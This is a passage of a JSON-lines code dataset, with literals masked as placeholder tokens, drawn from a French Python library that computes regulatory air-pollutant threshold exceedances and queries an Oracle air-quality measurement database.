{"signature": "def pm10(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Day):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT:50>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT:50>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'),<EOL>valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:30>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour les particules PM10\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nSeuil de RI en moyenne J: 50u\nSeuil d'Alerte en moyenne J: 80u\nValeur limite pour la sant\u00e9 humaine 35J/A: 50u\nValeur limite pour la sant\u00e9 humaine en moyenne A: 40u\nObjectif de qualit\u00e9 en moyenne A: 30u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m9"}
{"signature": "def so2(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:D>', how='<STR_LIT>'), valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:50>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:20>),<EOL>\"<STR_LIT>\": depassement(<EOL>df[(df.index.month <= <NUM_LIT:3>) | (df.index.month >= <NUM_LIT:10>)], valeur=<NUM_LIT:20>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le dioxyde de soufre\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nSeuil de RI en moyenne H: 300u\nSeuil d'Alerte sur 3H cons\u00e9cutives: 500u\nValeur limite pour la sant\u00e9 humaine 24H/A: 350u\nValeur limite pour la sant\u00e9 humaine 3J/A: 125u\nObjectif de qualit\u00e9 en moyenne A: 50u\nProtection de la v\u00e9g\u00e9tation en moyenne A: 20u\nProtection de la v\u00e9g\u00e9tation du 01/10 au 31/03: 20u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m10"}
{"signature": "def co(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(moyennes_glissantes(df, sur=<NUM_LIT:8>),<EOL>valeur=<NUM_LIT:10>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le monoxyde de carbone\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nValeur limite pour la sant\u00e9 humaine max J 8H glissantes: 10000u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m11"}
{"signature": "def o3(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": consecutive(df, valeur=<NUM_LIT>, sur=<NUM_LIT:3>),<EOL>\"<STR_LIT>\": consecutive(df, valeur=<NUM_LIT>, sur=<NUM_LIT:3>),<EOL>\"<STR_LIT>\": depassement(<EOL>moyennes_glissantes(df, sur=<NUM_LIT:8>), valeur=<NUM_LIT>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour l'ozone\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nSeuil de RI sur 1H: 180u\nSeuil d'Alerte sur 1H: 240u\nSeuil d'Alerte sur 3H cons\u00e9cutives: 240u\nSeuil d'Alerte sur 3H cons\u00e9cutives: 300u\nSeuil d'Alerte sur 1H: 360u\nObjectif de qualit\u00e9 pour la sant\u00e9 humaine sur 8H glissantes: 120u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m12"}
{"signature": "def c6h6(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:2>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:5>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le benz\u00e8ne\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nObjectif de qualit\u00e9 en moyenne A: 2u\nValeur limite pour la sant\u00e9 humaine en moyenne A: 5u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m13"}
{"signature": "def pb(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'),<EOL>valeur=<NUM_LIT:0.5>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le plomb\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nObjectif de qualit\u00e9 en moyenne A: 0.25u\nValeur limite pour la sant\u00e9 humaine en moyenne A: 0.5u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m14"}
{"signature": "def arsenic(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:6>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour l'arsenic\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): ng/m3 (nanogramme par m\u00e8tre cube)\n\nValeur cible en moyenne A: 6u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m15"}
{"signature": "def cadmium(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:5>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le cadmium\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): ng/m3 (nanogramme par m\u00e8tre cube)\n\nValeur cible en moyenne A: 5u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m16"}
{"signature": "def nickel(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:20>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le nickel\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): ng/m3 (nanogramme par m\u00e8tre cube)\n\nValeur cible en moyenne A: 20u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m17"}
{"signature": "def bap(df):", "body": "polluant = '<STR_LIT>'<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:1>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le benzo(a)pyr\u00e8ne\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): ng/m3 (nanogramme par m\u00e8tre cube)\n\nValeur cible en moyenne A: 1u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m18"}
{"signature": "def print_synthese(fct, df):", "body": "res_count = dict()<EOL>polluant, res = fct(df)<EOL>print(\"<STR_LIT>\" % polluant)<EOL>print(\"<STR_LIT>\")<EOL>for k, v in res.items():<EOL><INDENT>comp = compresse(v)<EOL>if not comp.empty:<EOL><INDENT>comp.index.name = k<EOL>print(comp.to_string(na_rep='<STR_LIT>', float_format=lambda x: \"<STR_LIT>\" % x))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % k)<EOL><DEDENT>res_count[k] = v.count()<EOL><DEDENT>res_count = pd.DataFrame(res_count).T<EOL>print(\"<STR_LIT>\")<EOL>print(res_count)<EOL>", "docstring": "Pr\u00e9sente une synth\u00e8se des calculs r\u00e9glementaires en fournissant les valeurs\ncalcul\u00e9es suivant les r\u00e9glementations d\u00e9finies dans chaque fonction de calcul\net un tableau de nombre de d\u00e9passement.\n\nParam\u00e8tres:\nfct: fonction renvoyant les \u00e9l\u00e9ments calcul\u00e9es\ndf: DataFrame de valeurs d'entr\u00e9e \u00e0 fournir \u00e0 la fonction\n\nRetourne:\nImprime sur l'\u00e9cran les valeurs synth\u00e9tis\u00e9es", "id": "f6427:m19"}
{"signature": "def excel_synthese(fct, df, excel_file):", "body": "def sheet_name(name):<EOL><INDENT>name = unicodedata.normalize('<STR_LIT>', name).encode('<STR_LIT:ascii>', '<STR_LIT:ignore>')<EOL>name = k.replace(\"<STR_LIT:'>\", \"<STR_LIT>\").replace(\"<STR_LIT::>\", \"<STR_LIT>\").replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:_>\")<EOL>name = \"<STR_LIT>\" % (i, name)<EOL>name = name[:<NUM_LIT>]<EOL>return name<EOL><DEDENT>res_count = dict()<EOL>polluant, res = fct(df)<EOL>print(\"<STR_LIT>\" % polluant)<EOL>writer = pd.ExcelWriter(excel_file)<EOL>for i, (k, v) in enumerate(res.items()):<EOL><INDENT>comp = compresse(v)<EOL>comp.index.name = k<EOL>comp = comp.apply(pd.np.round)<EOL>comp.to_excel(writer, sheet_name=sheet_name(k))<EOL>res_count[k] = v.count()<EOL><DEDENT>name = \"<STR_LIT>\"<EOL>res_count = pd.DataFrame(res_count).T<EOL>res_count.index.name = name<EOL>res_count.to_excel(writer, sheet_name=name)<EOL>writer.save()<EOL>", "docstring": "Enregistre dans un fichier Excel une synth\u00e8se des calculs r\u00e9glementaires en\nfournissant les valeurs calcul\u00e9es suivant les r\u00e9glementations d\u00e9finies dans\nchaque fonction de calcul et un tableau de nombre de d\u00e9passement.\nLes r\u00e9sultats sont enregistr\u00e9s\n\nParam\u00e8tres:\nfct: fonction renvoyant les \u00e9l\u00e9ments calcul\u00e9es\ndf: DataFrame de valeurs d'entr\u00e9e \u00e0 fournir \u00e0 la fonction\nexcel_file: Chemin du fichier excel o\u00f9 \u00e9crire les valeurs\n\nRetourne:\nRien", "id": "f6427:m20"}
{"signature": "def html_synthese(fct, df):", "body": "html = str()<EOL>res_count = dict()<EOL>buf = StringIO()<EOL>polluant, res = fct(df)<EOL>html += '<STR_LIT>'.format(polluant)<EOL>for k, v in res.items():<EOL><INDENT>buf.write(\"<STR_LIT>\")<EOL>comp = compresse(v)<EOL>if not comp.empty:<EOL><INDENT>comp.index.name = k<EOL>comp.to_html(buf=buf,<EOL>sparsify=True,<EOL>na_rep=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>buf.write(<EOL>'<STR_LIT>'.format(<EOL>k))<EOL><DEDENT>buf.write(\"<STR_LIT>\")<EOL>res_count[k] = v.count()<EOL><DEDENT>res_count = pd.DataFrame(res_count).T<EOL>res_count.index.name = \"<STR_LIT>\"<EOL>html += \"<STR_LIT>\"<EOL>html += res_count.to_html(sparsify=True)<EOL>html += \"<STR_LIT>\"<EOL>html += buf.getvalue()<EOL>return html<EOL>", "docstring": "Retourne au format html une synth\u00e8se des calculs r\u00e9glementaires en\nfournissant les valeurs calcul\u00e9es suivant les r\u00e9glementations d\u00e9finies dans\nchaque fonction de calcul et un tableau de nombre de d\u00e9passement.\n\nParam\u00e8tres:\nfct: fonction renvoyant les \u00e9l\u00e9ments calcul\u00e9es\ndf: DataFrame de valeurs d'entr\u00e9e \u00e0 fournir \u00e0 la fonction\n\nRetourne:\nUne chaine de caract\u00e8re pr\u00eate \u00e0 \u00eatre utilis\u00e9 dans une page html", "id": "f6427:m21"}
{"signature": "def show_max(df):", "body": "df = df.astype(pd.np.float)<EOL>res = list()<EOL>for c in df.columns:<EOL><INDENT>serie = df[c]<EOL>res.append(serie.where(cond=serie == serie.max(), other=pd.np.nan).dropna())<EOL><DEDENT>return pd.DataFrame(res).T<EOL>", "docstring": "Pour chaque serie (colonne) d'un DataFrame, va rechercher la (les) valeur(s)\n    et la (les) date(s) du (des) max.\n\n    Param\u00e8tres:\n    df: DataFrame de valeurs \u00e0 calculer\n\n    Retourne:\n    Un DataFrame montrant pour chaque serie (colonne), les valeurs maxs aux dates\n    d'apparition.", "id": "f6427:m22"}
{"signature": "def taux_de_representativite(df):", "body": "return (df.count().astype(pd.np.float) / df.shape[<NUM_LIT:0>] * <NUM_LIT:100>).round(<NUM_LIT:1>)<EOL>", "docstring": "Calcul le taux de repr\u00e9sentativit\u00e9 d'un dataframe", "id": "f6427:m23"}
{"signature": "def is_invalid(e):", "body": "return e in INVALID_CODES<EOL>", "docstring": "Renvoie Vrai ou Faux suivant que e est dans la liste des codes invalides\n\n    Param\u00e8tres:\n    e: une lettre en majuscules", "id": "f6428:m0"}
{"signature": "def etats_to_invalid(etats):", "body": "return etats.applymap(is_invalid)<EOL>", "docstring": "Transforme un dataframe de codes d'\u00e9tat en une grille d'invalidation.\n\nParam\u00e8tres:\netats: dataframe de codes d'\u00e9tat, tel que retourn\u00e9 par get_mesure avec le\nparam\u00e8tre brut=True\n\nRetourne:\nUn dataframe de bool\u00e9en. Chaque valeur est soit \u00e0 False, et la mesure\ncorrespondante (\u00e0 la m\u00eame position dans le dataframe de mesure) n'est pas\ninvalide, soit \u00e0 True et la mesure est invalide.", "id": "f6428:m1"}
{"signature": "def to_date(date, dayfirst=False, format=None):", "body": "<EOL>if not date:<EOL><INDENT>return dt.datetime.fromordinal(<EOL>dt.date.today().toordinal())  <EOL><DEDENT>elif isinstance(date, dt.datetime):<EOL><INDENT>return date<EOL><DEDENT>elif isinstance(date, str):<EOL><INDENT>return pd.to_datetime(date, dayfirst=dayfirst, format=format)<EOL><DEDENT>elif isinstance(date, dt.date):<EOL><INDENT>return dt.datetime.fromordinal(date.toordinal())<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Transforme un champ date vers un objet python datetime\nParam\u00e8tres:\ndate:\n    - si None, renvoie la date du jour\n    - si de type str, renvoie un objet python datetime\n    - si de type datetime, le retourne sans modification\ndayfirst: Si True, aide l'analyse du champ date de type str en informant\nle d\u00e9crypteur que le jour se situe en d\u00e9but de cha\u00eene (ex:11/09/2012\npourrait \u00eatre interpret\u00e9 comme le 09 novembre si dayfirst=False)\nformat: cha\u00eene de caract\u00e8re d\u00e9crivant pr\u00e9cisement le champ date de type\nstr. Voir la documentation officielle de python.datetime pour description", "id": "f6428:m2"}
{"signature": "def _format(noms):", "body": "if isinstance(noms, (list, tuple, pd.Series)):<EOL><INDENT>noms = '<STR_LIT:U+002C>'.join(noms)<EOL><DEDENT>noms = noms.replace(\"<STR_LIT:U+002C>\", \"<STR_LIT>\")<EOL>return noms<EOL>", "docstring": "Formate une donn\u00e9e d'entr\u00e9e pour \u00eatre exploitable dans les fonctions liste_*\net get_*.\n\nParam\u00e8tres:\nnoms: cha\u00eene de caract\u00e8re, liste ou tuples de cha\u00eenes de caract\u00e8res ou\npandas.Series de cha\u00eenes de caract\u00e8res.\n\nRetourne:\nUne cha\u00eenes de caract\u00e8res dont chaque \u00e9l\u00e9ment est s\u00e9par\u00e9 du suivant par les\ncaract\u00e8res ',' (simples quotes comprises)", "id": "f6428:m3"}
{"signature": "def date_range(debut, fin, freq):", "body": "debut_dt = debut.replace(hour=<NUM_LIT:0>, minute=<NUM_LIT:0>, second=<NUM_LIT:0>, microsecond=<NUM_LIT:0>)<EOL>fin_dt = fin.replace(hour=<NUM_LIT>, minute=<NUM_LIT>, second=<NUM_LIT:0>, microsecond=<NUM_LIT:0>)<EOL>if freq in ('<STR_LIT:M>', '<STR_LIT:A>'):  <EOL><INDENT>freq += '<STR_LIT:S>'<EOL>debut_dt = debut_dt.replace(day=<NUM_LIT:1>, minute=<NUM_LIT:0>, second=<NUM_LIT:0>, microsecond=<NUM_LIT:0>)<EOL>fin_dt = fin_dt.replace(day=<NUM_LIT:1>, minute=<NUM_LIT:0>, second=<NUM_LIT:0>, microsecond=<NUM_LIT:0>)<EOL><DEDENT>dates_completes = pd.date_range(start=debut_dt, end=fin_dt, freq=freq)<EOL>return dates_completes<EOL>", "docstring": "G\u00e9n\u00e8re une liste de date en tenant compte des heures de d\u00e9but et fin d'une journ\u00e9e.\nLa date de d\u00e9but sera toujours cal\u00e9e \u00e0 0h, et celle de fin \u00e0 23h\n\nParam\u00e8tres:\ndebut: datetime repr\u00e9sentant la date de d\u00e9but\nfin: datetime repr\u00e9sentant la date de fin\nfreq: freq de temps. Valeurs possibles : T (minute), H (heure), D (jour),\nM (mois), Y (ann\u00e9e). Peux prendre des cycles, comme 15T pour 15 minutes", "id": "f6428:m4"}
{"signature": "def _connect(self):", "body": "try:<EOL><INDENT>self.conn = cx_Oracle.connect(self._ORA_FULL)<EOL>self.cursor = self.conn.cursor()<EOL>print('<STR_LIT>')<EOL><DEDENT>except cx_Oracle.Error as e:<EOL><INDENT>print(\"<STR_LIT>\" % (e))<EOL>raise cx_Oracle.Error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Connexion \u00e0 la base XAIR", "id": "f6428:c0:m1"}
{"signature": "def disconnect(self):", "body": "self._close()<EOL>", "docstring": "Fermeture de la connexion \u00e0 la base", "id": "f6428:c0:m3"}
{"signature": "def liste_parametres(self, parametre=None):", "body": "condition = \"<STR_LIT>\"<EOL>if parametre:<EOL><INDENT>condition = \"<STR_LIT>\" % parametre<EOL><DEDENT>_sql = \"\"\"<STR_LIT>\"\"\" % condition<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Liste des param\u00e8tres\n\nParam\u00e8tres:\nparametre: si fourni, retourne l'entr\u00e9e pour ce parametre uniquement", "id": "f6428:c0:m5"}
{"signature": "def liste_mesures(self, reseau=None, station=None, parametre=None, mesure=None):", "body": "tbreseau = \"<STR_LIT>\"<EOL>conditions = []<EOL>if reseau:<EOL><INDENT>reseau = _format(reseau)<EOL>tbreseau = \"\"\"<STR_LIT>\"\"\"<EOL>conditions.append(\"\"\"<STR_LIT>\"\"\" % reseau)<EOL><DEDENT>if parametre:<EOL><INDENT>parametre = _format(parametre)<EOL>conditions.append(\"\"\"<STR_LIT>\"\"\" % parametre)<EOL><DEDENT>if station:<EOL><INDENT>station = _format(station)<EOL>conditions.append(\"\"\"<STR_LIT>\"\"\" % station)<EOL><DEDENT>if mesure:<EOL><INDENT>mesure = _format(mesure)<EOL>conditions.append(\"\"\"<STR_LIT>\"\"\" % mesure)<EOL><DEDENT>condition = \"<STR_LIT>\" % \"<STR_LIT>\".join(conditions) if conditions else \"<STR_LIT>\"<EOL>_sql = \"\"\"<STR_LIT>\"\"\" % (tbreseau, condition)<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "D\u00e9crit les mesures:\n- d'un ou des reseaux,\n- d'une ou des stations,\n- d'un ou des parametres\nou d\u00e9crit une (des) mesures suivant son (leur) identifiant(s)\nChaque attribut peut \u00eatre \u00e9tendu en rajoutant des noms s\u00e9par\u00e9s par des\nvirgules ou en les mettant dans une liste/tuple/pandas.Series.\nAinsi pour avoir la liste des mesures en vitesse et direction de vent:\nparametre=\"VV,DV\" ou = [\"VV\", \"DV\"]\nLes arguments sont combin\u00e9s ensemble pour la s\u00e9lection des mesures.\n\nParam\u00e8tres:\nreseau : nom du reseau dans lequel lister les mesures\nstation: nom de la station o\u00f9 lister les mesures\nparametre: Code chimique du parametre \u00e0 lister\nmesure: nom de la mesure \u00e0 d\u00e9crire", "id": "f6428:c0:m6"}
{"signature": "def detail_df(self, df):", "body": "return self.liste_mesures(mesure=df.columns.tolist())<EOL>", "docstring": "Renvoie les caract\u00e9ristiques des mesures d'un dataframe.\n\nParam\u00e8tres:\ndf: dataframe \u00e0 lister, tel que fournie par get_mesure()\n\nRetourne:\nLes m\u00eames informations que liste_mesure()", "id": "f6428:c0:m7"}
{"signature": "def liste_stations(self, station=None, detail=False):", "body": "condition = \"<STR_LIT>\"<EOL>if station:<EOL><INDENT>station = _format(station)<EOL>condition = \"<STR_LIT>\" % station<EOL><DEDENT>select = \"<STR_LIT>\"<EOL>if detail:<EOL><INDENT>select = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>_sql = \"\"\"<STR_LIT>\"\"\" % (select, condition)<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Liste des stations\n\nParam\u00e8tres:\nstation : un nom de station valide (si vide, liste toutes les stations)\ndetail : si True, affiche plus de d\u00e9tail sur la (les) station(s).", "id": "f6428:c0:m8"}
{"signature": "def liste_reseaux(self):", "body": "_sql = \"\"\"<STR_LIT>\"\"\"<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Liste des sous-r\u00e9seaux de mesure", "id": "f6428:c0:m9"}
{"signature": "def liste_campagnes(self, campagne=None):", "body": "condition = \"<STR_LIT>\"<EOL>if campagne:<EOL><INDENT>condition = \"<STR_LIT>\"\"<STR_LIT>\" % campagne<EOL><DEDENT>_sql = \"\"\"<STR_LIT>\"\"\" % condition<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Liste des campagnes de mesure et des stations associ\u00e9es\n\nParam\u00e8tres:\ncampagne: Si d\u00e9finie, liste des stations que pour cette campagne", "id": "f6428:c0:m10"}
{"signature": "def liste_reseaux_indices(self):", "body": "_sql = \"\"\"<STR_LIT>\"\"\"<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Liste des r\u00e9seaux d'indices ATMO", "id": "f6428:c0:m11"}
{"signature": "def liste_sites_prelevement(self):", "body": "_sql = \"\"\"<STR_LIT>\"\"\"<EOL>return psql.read_sql(_sql, self.conn)<EOL>", "docstring": "Liste les sites de pr\u00e9l\u00e8vements manuels", "id": "f6428:c0:m12"}
{"signature": "def get_mesures(self, mes, debut=None, fin=None, freq='<STR_LIT:H>', format=None,<EOL>dayfirst=False, brut=False):", "body": "def create_index(index, freq):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>decalage = <NUM_LIT:1>  <EOL>if freq == '<STR_LIT:T>' or freq == '<STR_LIT>':<EOL><INDENT>f = pd.tseries.offsets.Minute<EOL>decalage = <NUM_LIT:15><EOL><DEDENT>if freq == '<STR_LIT:H>':<EOL><INDENT>f = pd.tseries.offsets.Hour<EOL><DEDENT>if freq == '<STR_LIT:D>':<EOL><INDENT>f = pd.tseries.offsets.Day<EOL><DEDENT>if freq == '<STR_LIT:M>':<EOL><INDENT>f = pd.tseries.offsets.MonthBegin<EOL><DEDENT>if freq == '<STR_LIT:A>':<EOL><INDENT>f = pd.tseries.offsets.YearBegin<EOL><DEDENT>else:<EOL><INDENT>f = pd.tseries.offsets.Hour<EOL><DEDENT>new_index = [date + f(int(delta) - decalage) for date, delta in index]<EOL>return new_index<EOL><DEDENT>mes = _format(mes)<EOL>debut = to_date(debut, dayfirst, format)<EOL>if not fin:<EOL><INDENT>fin = debut<EOL><DEDENT>else:<EOL><INDENT>fin = to_date(fin, dayfirst, format)<EOL><DEDENT>if freq in ('<STR_LIT>', '<STR_LIT:T>'):<EOL><INDENT>freq = '<STR_LIT>'<EOL><DEDENT>if freq == '<STR_LIT>':<EOL><INDENT>diviseur = <NUM_LIT><EOL>champ_val = '<STR_LIT:U+002C>'.join(['<STR_LIT>' % (x, x * <NUM_LIT:15>) for x in range(<NUM_LIT:1>, diviseur + <NUM_LIT:1>)])<EOL>champ_code = '<STR_LIT>'<EOL>table = '<STR_LIT>'<EOL><DEDENT>elif freq == '<STR_LIT:H>':<EOL><INDENT>diviseur = <NUM_LIT><EOL>champ_val = '<STR_LIT:U+002C>'.join(['<STR_LIT>' % (x, x) for x in range(<NUM_LIT:1>, diviseur + <NUM_LIT:1>)])<EOL>champ_code = '<STR_LIT>'<EOL>table = '<STR_LIT>'<EOL><DEDENT>elif freq == '<STR_LIT:D>':<EOL><INDENT>diviseur = <NUM_LIT:1><EOL>champ_val = '<STR_LIT>'<EOL>champ_code = '<STR_LIT>'<EOL>table = '<STR_LIT>'<EOL><DEDENT>elif freq == '<STR_LIT:M>':<EOL><INDENT>diviseur = <NUM_LIT:12><EOL>champ_val = '<STR_LIT:U+002C>'.join(['<STR_LIT>' % (x, x) for x in range(<NUM_LIT:1>, diviseur + <NUM_LIT:1>)])<EOL>champ_code = '<STR_LIT>'<EOL>table = '<STR_LIT>'<EOL><DEDENT>elif freq == '<STR_LIT:A>':<EOL><INDENT>diviseur = <NUM_LIT:1><EOL>champ_val = '<STR_LIT>'<EOL>champ_code = '<STR_LIT>'<EOL>table = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if table == '<STR_LIT>':<EOL><INDENT>champ_date = '<STR_LIT>'<EOL>debut_db = debut<EOL>fin_db = fin<EOL><DEDENT>else:<EOL><INDENT>champ_date = '<STR_LIT>'<EOL>debut_db = debut.replace(month=<NUM_LIT:1>, day=<NUM_LIT:1>, hour=<NUM_LIT:0>, minute=<NUM_LIT:0>)<EOL>fin_db = fin.replace(month=<NUM_LIT:12>, day=<NUM_LIT>, hour=<NUM_LIT>, minute=<NUM_LIT:0>)<EOL><DEDENT>debut_db = debut_db.strftime(\"<STR_LIT>\")<EOL>fin_db = fin_db.strftime(\"<STR_LIT>\")<EOL>_sql = \"\"\"<STR_LIT>\"\"\".format(champ_date=champ_date,<EOL>table=table,<EOL>champ_code=champ_code,<EOL>mes=mes,<EOL>champ_val=champ_val,<EOL>debut=debut_db,<EOL>fin=fin_db)<EOL>rep = psql.read_sql(_sql, self.conn)<EOL>df = rep.set_index(['<STR_LIT:id>', '<STR_LIT:date>'])<EOL>etats = df['<STR_LIT>']<EOL>df = df.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>df_stack = 